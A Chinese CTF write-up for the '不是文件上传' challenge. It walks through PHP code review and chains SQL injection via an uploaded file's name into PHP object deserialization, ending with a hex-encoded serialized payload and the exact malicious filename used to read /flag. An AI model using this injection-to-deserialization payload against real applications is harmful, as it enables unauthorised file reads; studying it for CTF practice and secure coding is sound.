[安洵杯 2019]不是文件上传.md

public function view_files($path){
	if ($this->ifview == False){
		return False;
		//The function is not yet perfect, it is not open yet.
	}
	$content = file_get_contents($path);
	echo $content;
}

helper.php中存在file_get_contents,但是需要设置ifviewtrue,于是推测有可利用的反序列化漏洞

控制反序列化结果

public function Get_All_Images(){
	$sql = "SELECT * FROM images";
	$result = mysqli_query($this->con, $sql);
	if ($result->num_rows > 0){
		while($row = $result->fetch_assoc()){
			if($row["attr"]){
				$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
				$attr = unserialize($attr_temp);
			}
			echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
		}
	}else{
		echo "<p>You have not uploaded an image yet.</p>";
	}
	mysqli_close($this->con);
}

shell.php中对查询结果的attr列进行了反序列化

public function insert_array($data)
{	
	$con = ...;
	$sql_fields = array();
	$sql_val = array();
	foreach($data as $key=>$value){
		$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
		$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
		$sql_fields[] = "`".$key_temp."`";
		$sql_val[] = "'".$value_temp."'";
	}
	$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
	mysqli_query($con, $sql);
	// ...
}

helper.phphelper类的insert_array方法存在对数据库的写入,方式是简单的字符串拼接

insert_arraysave方法调用,而save又被upload调用

public function upload($input="file")
{
	$fileinfo = $this->getfile($input);
	$array = array();
	$array["title"] = $fileinfo['title'];
	$array["filename"] = $fileinfo['filename'];
	$array["ext"] = $fileinfo['ext'];
	$array["path"] = $fileinfo['path'];
	$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
	$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
	$array["attr"] = serialize($my_ext);
	$id = $this->save($array);
}

可以看到array["attr"]my_ext的序列化结果,而my_ext完全由图像的宽高决定

于是尝试对其它array的元素下手,利用上面发现的字符串拼接查询实现SQL注入对attr列任意写入

array的其它元素由fileinfo复制过来,而fileinfogetfile方法获得

public function getfile($input) => $this->check($_FILES[$input]);
public function check($info)
{
	$basename = substr(md5(time().uniqid()),9,16);
	$filename = $info["name"];
	$ext = substr(strrchr($filename, '.'), 1);
	$cate_exts = array("jpg","gif","png","jpeg");
	if(!in_array($ext,$cate_exts)){
		die("<p>Please upload the correct image file!!!</p>");
	}
	$title = str_replace(".".$ext,'',$filename);
	return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

'filename'=>$basenamebasename是随机生成,不可控

'ext'=>$extext为上传文件后缀名,又有白名单检测,不可控

'path'=>$this->folder.$basename,保存目录名拼上随机生成文件名,不可控

'title'=>$titletitle为上传文件名去掉后缀,可控

于是可以通过改变上传文件的文件名来控制写入attr列的内容

POP链构造

function __destruct(){
	# Read some config html
	$this->view_files($this->config);
}

helper直接存在一个__destruct魔术方法,设置config/flag即可

<?php

class helper {
    protected $ifview = true;
    protected $config = "/flag";
}
print bin2hex(serialize(new helper()));

得到

4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d

文件名

1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

/show.php

#Web #PHP #代码审计 #serialization #SQL注入